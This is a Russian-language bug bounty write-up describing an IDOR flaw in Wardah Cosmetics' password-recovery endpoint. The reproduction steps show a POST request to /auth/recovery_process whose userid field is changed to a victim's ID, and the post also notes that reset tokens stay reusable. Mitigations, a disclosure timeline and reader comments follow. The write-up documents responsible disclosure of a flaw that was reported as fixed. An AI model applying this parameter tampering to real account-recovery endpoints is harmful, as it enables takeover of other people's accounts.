
В этом посте я расскажу, как обнаружил уязвимость, которая позволяет злоумышленнику менять пароли других пользователей, что может привести к захвату аккаунтов. Также я обнаружил, что токен восстановления пароля не аннулируется после использования.
Объект исследования
Wardah Cosmetics — это бренд косметических средств, выпускаемых одной из крупнейших косметических компаний Индонезии.
На момент моего обращения у Wardah не было открытой программы bug bounty, но компания может сделать исключение, если уязвимость получит высокий или критический приоритет.
Благодаря быстрой реакции команды безопасности Wardah на мои отчёты, у меня сложилось положительное впечатление. Они всегда быстро отвечали, понятно объясняли суть происходящего и информировали обо всех этапах — всё это сильно помогло нам в обеспечении безопасности.
Шаги для воспроизведения
Для эксплуатации можно использовать Chrome и Postman.
1. Создайте двух пользователей — атакующего и жертву, например, userid атакующего — 111111, а жертвы — 222222.
2. Войдите на страницу входа от имени атакующего и нажмите ссылку "Забыли пароль".
3. Введите e-mail атакующего, решите reCAPTCHA и нажмите кнопку "Отправить ссылку для сброса".
4. Атакующий получит письмо для восстановления пароля — нажмите кнопку "Восстановить пароль". Ссылка будет выглядеть так:
https://www.wardahbeauty.com/id/auth/recovery/b5ef0ca049e9b44c98d9d989240d2836b2XXX. Предположим, что b5ef0ca049e9b44c98d9d989240d2836b2XXXXXX — это токен восстановления пароля.
5. Атакующий вводит новый пароль и нажимает "Submit" — пароль успешно сброшен.
6. Атакующий смотрит API-запрос во вкладке Network в Chrome — он будет выглядеть так:
Request:
POST https://www.wardahbeauty.com/auth/recovery_process
Body:
id: "99999"
userid: "111111"
password: "NEWPASSWORD"
passwordconfirm: "NEWPASSWORD"
Мы видим, что вместе с паролем мы также отправляем параметры id и userid.
- id — это идентификатор запроса на сброс пароля (99999), который сопоставляется с токеном для сброса пароля b5ef0ca049e9b44c98d9d989240d2836b2XXXXXX 
- userid — это ID пользователя, чей пароль мы хотим сбросить. 
Response:
{
    "code": 200,
    "msg": "Your password has been reset, please login to continue",
    "directurl": "https://www.wardahbeauty.com/id"
}
7. Теперь, выступая в роли атакующего, давайте попробуем изменить параметр userid на userid жертвы, в данном случае 222222.
Request:
POST https://www.wardahbeauty.com/auth/recovery_process
Body:
id: "99999"
userid: "222222"
password: "NEWPASSWORD"
passwordconfirm: "NEWPASSWORD"
Response:
{
    "code": 200,
    "msg": "Your password has been reset, please login to continue",
    "directurl": "https://www.wardahbeauty.com/id"
}
Удивительно, но мы смогли изменить пароль жертвы.
8. Чтобы подтвердить, что нам удалось изменить пароль жертвы, мы можем перейти на страницу входа и войти в аккаунт жертвы, используя новый пароль.
Mitigation
- Необходимо реализовать корректную авторизацию и контроль доступа на уязвимых эндпоинтах, сопоставляя идентификатор или токен сброса пароля с исходным userid. 
- Также я обнаружил, что можно многократно использовать функцию сброса пароля с одним и тем же id или токеном. Это опасно, если злоумышленник каким-либо образом получит доступ к электронной почте жертвы и обнаружит там токен сброса пароля. Токен сброса пароля должен истекать сразу после использования, автоматически становиться недействительным при выдаче нового токена, а также иметь ограниченный срок действия (например, 6 часов). 
Impact
- Злоумышленник может изменить пароль любого пользователя и захватить его аккаунт. 
- Злоумышленник может захватить аккаунт жертвы, если получит доступ к её электронной почте и найдёт токен сброса пароля. 
Timeline
- 14/01/2024 Связь с командой безопасности через LinkedIn 
- 30/01/2024 Команда безопасности ответила и попросила отправить отчёт по email 
- 01/02/2024 Отправка отчёта по email 
- 05/02/2024 Запрос на публичное раскрытие информации 
- 12/02/2024 Проблема рассмотрена и признана критической. Публичное раскрытие разрешено после устранения уязвимости. 
- 12/02/2024 Получен сертификат благодарности 
- 13/03/2024 Выплачена награда 65 USD 
- 19/03/2024 Проведено повторное тестирование и подтверждено, что проблема решена. 
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер
Комментарии (2)
 - itshnick8802.07.2025 16:42- Проблема рассмотрена и признана критической. - Выплачена награда 65 USD - =((( 
 
           
 
JWSHunter
Хороший классический пример IDOR с очень серьёзными последствиями. Казалось бы, "забыли пароль" - обычная фича, а тут целый дырявый люк для взлома аккаунтов. Особенно примечательно, что токен сброса не сгорает после использования - почти как дать ключ от квартиры и забыть его заблокировать
Отдельно стоит отметить, что даже без официальной программы bb автору удалось эффективно взаимодействовать с командой безопасности - оперативно, прозрачно и с взаимным уважением, как и должно быть